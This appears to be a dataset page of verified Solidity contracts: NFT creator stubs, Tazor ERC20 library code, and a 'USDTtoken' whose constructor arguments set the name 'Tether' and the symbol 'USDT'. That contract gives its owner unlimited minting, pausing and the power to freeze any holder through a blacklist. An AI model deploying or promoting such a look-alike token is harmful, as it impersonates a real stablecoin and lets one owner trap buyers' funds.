Datasets:

ASSERT-KTH

/

DISL

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Follow

ASSERT 13

JPCZ

contracts/JPCZ.sol

0x8272983c227b665f00226a1d7e3893c7d5922d6d

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Cazart /// @author: manifold.xyz import "./manifold/ERC721Creator.sol"; ///////////////////////////////////////////////// // // // // // // // __ // // |__|_____ ____ _____ ________ // // | \____ \_/ ___\\__ \ \___ / // // | | |_> > \___ / __ \_/ / // // /\__| | __/ \___ >____ /_____ \ // // \______|__| \/ \/ \/ // // // // // // // ///////////////////////////////////////////////// contract JPCZ is ERC721Creator { constructor() ERC721Creator("Cazart", "JPCZ") {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.17+commit.8df45f5f

Default

0x2d3fc875de7fe7da43ad0afa0e7023c9b91d06b1

JFE

contracts/JFE.sol

0x1015b7c4f9a52f1f1414869a766a67c000e416c0

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Jonathan Foerster Editions /// @author: manifold.xyz import "./manifold/ERC1155Creator.sol"; ///////////////////////////////////////////////////////////////////////////// // // // // // ┌─┐┌┬┐┬ ┌─┐┌─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐┬─┐┌─┐┌─┐┌┬┐ // // ├─┤ │ │ ├┤ ├─┤└─┐ │ │││├┤ ││├┬┘├┤ ├─┤│││ // // ┴ ┴ ┴ ┴─┘└─┘┴ ┴└─┘ ┴ └┴┘└─┘─┴┘┴└─└─┘┴ ┴┴ ┴ // // // // Jonathan Foerster started his digital art journey in 1998, // // creating abstract & surreal pieces of artwork in early versions // // of Photoshop and Bryce3D. // // // // Through the years, he has evolved into a digital art media swiss // // army knife creating art using a garbage bag full of tools to // // accomplish his visions. Most recently wholly diving into // // Cinema4d and 3D, continuing to evolve his vast array of visuals // // of dream-like (and nightmare-like) imagery. // // // // This contract embodies Open and Limited Editions of digital // // artwork with Manifold. // // // // + atleastwedream.com // // + twitter.com/atleastwedream // // + instagram.com/atleastwedream // // // // // ///////////////////////////////////////////////////////////////////////////// contract JFE is ERC1155Creator { constructor() ERC1155Creator("Jonathan Foerster Editions", "JFE") {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.17+commit.8df45f5f

Default

0x6bf5ed59de0e19999d264746843ff931c0133090

USDTtoken

USDTtoken.sol

0x5a72a8024e6f26d9cc2dc476f741901986dd134c

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) internal allowed; mapping(address => bool) tokenBlacklist; event Blacklist(address indexed blackListed, bool value); mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(tokenBlacklist[msg.sender] == false); require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(tokenBlacklist[msg.sender] == false); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function _blackList(address _address, bool _isBlackListed) internal returns (bool) { require(tokenBlacklist[_address] != _isBlackListed); tokenBlacklist[_address] = _isBlackListed; emit Blacklist(_address, _isBlackListed); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function blackListAddress(address listAddress, bool isBlackListed) public whenNotPaused onlyOwner returns (bool success) { return super._blackList(listAddress, isBlackListed); } } contract USDTtoken is PausableToken { string public name; string public symbol; uint public decimals; event Mint(address indexed from, address indexed to, uint256 value); event Burn(address indexed burner, uint256 value); constructor(string memory _name, string memory _symbol, uint256 _decimals, uint256 _supply, address tokenOwner) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _supply * 10**_decimals; balances[tokenOwner] = totalSupply; owner = tokenOwner; emit Transfer(address(0), tokenOwner, totalSupply); } function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } function mint(address account, uint256 amount) onlyOwner public { totalSupply = totalSupply.add(amount); balances[account] = balances[account].add(amount); emit Mint(address(0), account, amount); emit Transfer(address(0), account, amount); } }

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"type":"event"}]

v0.4.24+commit.e67f0147

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000712b12871ef19094c0cd7febb2065e253257d31a0000000000000000000000000000000000000000000000000000000000000006546574686572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045553445400000000000000000000000000000000000000000000000000000000

Default

MIT

bzzr://a600a4abfdc541d7a7280a9ebc3b65d7b54415bae058d7330ab4e31fa73f52fd

Taz

contracts/libraries/SafeMath.sol

0x601fb6c33f24bcb6daf2c1d6d570495f1c018800

Solidity

// Tazor.io Domain pragma solidity ^0.7.5; // TODO(zx): Replace all instances of SafeMath with OZ implementation library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } // Only used in the BondingCalculator.sol function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } }

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ITazorAuthority","name":"authority","type":"address"}],"name":"AuthorityUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"authority","outputs":[{"internalType":"contract ITazorAuthority","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract ITazorAuthority","name":"_newAuthority","type":"address"}],"name":"setAuthority","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.5+commit.eb77ed08

0000000000000000000000003f131f9f16dfb4a0e9b00edead457b74bf932e0b

Default

None

ipfs://51055185ee9e892e0becbed29a435706590af3a35c43f8c4cbd6d2cd3fe54c72

Taz

contracts/interfaces/ITAZOR.sol

0x601fb6c33f24bcb6daf2c1d6d570495f1c018800

Solidity

interface ITAZOR is IERC20 { function mint(address account_, uint256 amount_) external; function burn(uint256 amount) external; function burnFrom(address account_, uint256 amount_) external; }

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ITazorAuthority","name":"authority","type":"address"}],"name":"AuthorityUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"authority","outputs":[{"internalType":"contract ITazorAuthority","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract ITazorAuthority","name":"_newAuthority","type":"address"}],"name":"setAuthority","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.5+commit.eb77ed08

0000000000000000000000003f131f9f16dfb4a0e9b00edead457b74bf932e0b

Default

None

ipfs://51055185ee9e892e0becbed29a435706590af3a35c43f8c4cbd6d2cd3fe54c72

Taz

contracts/types/ERC20.sol

0x601fb6c33f24bcb6daf2c1d6d570495f1c018800

Solidity

abstract contract ERC20 is IERC20 { using SafeMath for uint256; // TODO comment actual hash value. bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" ); mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint8 internal immutable _decimals; constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { } }

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ITazorAuthority","name":"authority","type":"address"}],"name":"AuthorityUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"authority","outputs":[{"internalType":"contract ITazorAuthority","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract ITazorAuthority","name":"_newAuthority","type":"address"}],"name":"setAuthority","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.5+commit.eb77ed08

0000000000000000000000003f131f9f16dfb4a0e9b00edead457b74bf932e0b

Default

None

ipfs://51055185ee9e892e0becbed29a435706590af3a35c43f8c4cbd6d2cd3fe54c72

Taz

contracts/types/ERC20Permit.sol

0x601fb6c33f24bcb6daf2c1d6d570495f1c018800

Solidity

/** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } interface ITazorAuthority { /* ========== EVENTS ========== */ event GovernorPushed(address indexed from, address indexed to, bool _effectiveImmediately); event GuardianPushed(address indexed from, address indexed to, bool _effectiveImmediately); event PolicyPushed(address indexed from, address indexed to, bool _effectiveImmediately); event VaultPushed(address indexed from, address indexed to, bool _effectiveImmediately); event GovernorPulled(address indexed from, address indexed to); event GuardianPulled(address indexed from, address indexed to); event PolicyPulled(address indexed from, address indexed to); event VaultPulled(address indexed from, address indexed to); /* ========== VIEW ========== */ function governor() external view returns (address); function guardian() external view returns (address); function policy() external view returns (address); function vault() external view returns (address); function vaults(address account) external view returns (bool); }

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ITazorAuthority","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract 